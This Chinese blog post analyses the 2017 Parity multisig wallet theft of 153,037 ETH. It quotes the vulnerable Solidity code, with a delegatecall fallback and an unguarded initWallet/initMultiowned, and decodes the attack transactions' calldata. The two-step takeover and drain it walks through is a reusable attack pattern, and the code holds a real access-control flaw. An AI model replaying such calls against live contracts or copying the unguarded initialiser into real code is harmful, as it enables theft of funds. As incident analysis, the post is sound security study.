JavaScript 不可用。

我们检测到浏览器禁用了 JavaScript。请启用 JavaScript 或改用支持的浏览器来继续访问

Parity 钱包的多签合约漏洞导致 153,037 ETH被盗 [owner 权限被窃取]

作者:Anban Chu

发表日期:2018年09月08日

所属目录:黑客攻击

攻击描述

  • 被黑目标:Parity
  • 事件描述:2017 年 7 月 29 日,以太坊多重签名钱包公司 Parity 发布安全警报,告知用户其钱包 v1.5 及以上版本存在严重漏洞。 当天,一名黑帽黑客利用该漏洞耗尽了三个以太坊项目的 Parity 钱包,从 Swarm City、Edgeless 和 Aeternity 共盗取了 153,037 个 ETH。
  • 损失金额:153,037 ETH
  • 攻击方式:未授权操作

合约描述

攻击过程技术分析

第一步:获取 owner 权限

核心漏洞出现在 function() payable 内,代码如下:

function() payable {
    // just being sent some cash?
    if (msg.value > 0)
        Deposit(msg.sender, msg.value);
    else if (msg.data.length > 0)
        _walletLibrary.delegatecall(msg.data);
}

分析代码得知:如果像合约地址转账时候,当 value 大于零,则进行存款操作。

value 等于零,并且当前交易有 input 内容的时候,合约会执行 _walletLibrary.delegatecall(msg.data);,也就是传入任何内容都会被执行。

黑客调用了一个叫做 initWallet 的函数,initWallet 没有做防止攻击者在合同初始化后调用到 initMultiowned 的检查。

// constructor - just pass on the owner array to the multiowned and
// the limit to daylimit
function initWallet(address[] _owners, uint _required, uint _daylimit) {
    initDaylimit(_daylimit);
    initMultiowned(_owners, _required);
}

initWallet 这个函数再次调用 initMultiowned 函数,这个函数使得合约的所有者被改为攻击者。

// constructor is given number of sigs required to do protected "onlymanyowners" transactions
// as well as the selection of addresses capable of confirming them.
function initMultiowned(address[] _owners, uint _required) {
    m_numOwners = _owners.length + 1;
    m_owners[1] = uint(msg.sender);
    m_ownerIndex[uint(msg.sender)] = 1;
    for (uint i = 0; i < _owners.length; ++i)
    {
        m_owners[2 + i] = uint(_owners[i]);
        m_ownerIndex[uint(_owners[i])] = 2 + i;
    }
    m_required = _required;
}

黑客攻击的交易 hash 是: 0x9dbf0326a03a2a3719c27be4fa69aacc9857fd231a8d9dcaede4bb083def75ec

Function: initWallet(address[] _owners, uint256 _required, uint256 _daylimit) ***

MethodID: 0xe46dcfeb
[0]:  0000000000000000000000000000000000000000000000000000000000000060
[1]:  0000000000000000000000000000000000000000000000000000000000000000
[2]:  00000000000000000000000000000000000000000000116779808c03e4140000
[3]:  0000000000000000000000000000000000000000000000000000000000000001
[4]:  000000000000000000000000b3764761e297d6f121e79c32a65829cd1ddb4d32 // 这里是攻击者的地址

第二步转移资金

调用合约的 execute 方法,这个方法是限制 owner 使用的。但是攻击者已经获得了 owner 权限。

// Outside-visible transact entry point. Executes transaction immediately if below daily spend limit.
// If not, goes into multisig process. We provide a hash on return to allow the sender to provide
// shortcuts for the other confirmations (allowing them to avoid replicating the _to, _value
// and _data arguments). They still get the option of using them if they want, anyways.
function execute(address _to, uint _value, bytes _data) external onlyowner returns (bytes32 o_hash) {
    // first, take the opportunity to check that we're under the daily limit.
    if ((_data.length == 0 && underLimit(_value)) || m_required == 1) {
        // yes - just execute the call.
        address created;
        if (_to == 0) {
            created = create(_value, _data);
        } else {
            if (!_to.call.value(_value)(_data))
                throw;
        }
        SingleTransact(msg.sender, _value, _to, _data, created);
    } else {
        // determine our operation hash.
        o_hash = sha3(msg.data, block.number);
        // store if it's new
        if (m_txs[o_hash].to == 0 && m_txs[o_hash].value == 0 && m_txs[o_hash].data.length == 0) {
            m_txs[o_hash].to = _to;
            m_txs[o_hash].value = _value;
            m_txs[o_hash].data = _data;
        }
        if (!confirm(o_hash)) {
            ConfirmationNeeded(o_hash, msg.sender, _value, _to, _data);
        }
    }
}

https://etherscan.io/tx/0xeef10fc5170f669b86c4cd0444882a96087221325f8bf2f55d6188633aa7be7c

Function: execute(address _to, uint256 _value, bytes _data) ***

MethodID: 0xb61d27f6
[0]:  000000000000000000000000b3764761e297d6f121e79c32a65829cd1ddb4d32 // 转移到攻击者地址
[1]:  00000000000000000000000000000000000000000000116779808c03e4140000
[2]:  0000000000000000000000000000000000000000000000000000000000000060
[3]:  0000000000000000000000000000000000000000000000000000000000000000
[4]:  0000000000000000000000000000000000000000000000000000000000000000

这种执行是自动授权的,因为攻击者当时是多重签名的唯一所有者,有效地耗尽了合约的所有资金。

解决方案

攻击的核心问题在于越权函数的调用,合约接口必须精心设计和明确定义访问权限,或者更进一步说,合约的设计必须符合某种成熟的模式。

推荐的模式是明确定义哪些库函数可以在合约上从外部调用。





以上就是本篇文章的全部内容了,希望对你有帮助。

>> 本站不提供评论服务,技术交流请在 Twitter 上找我 @anbang_account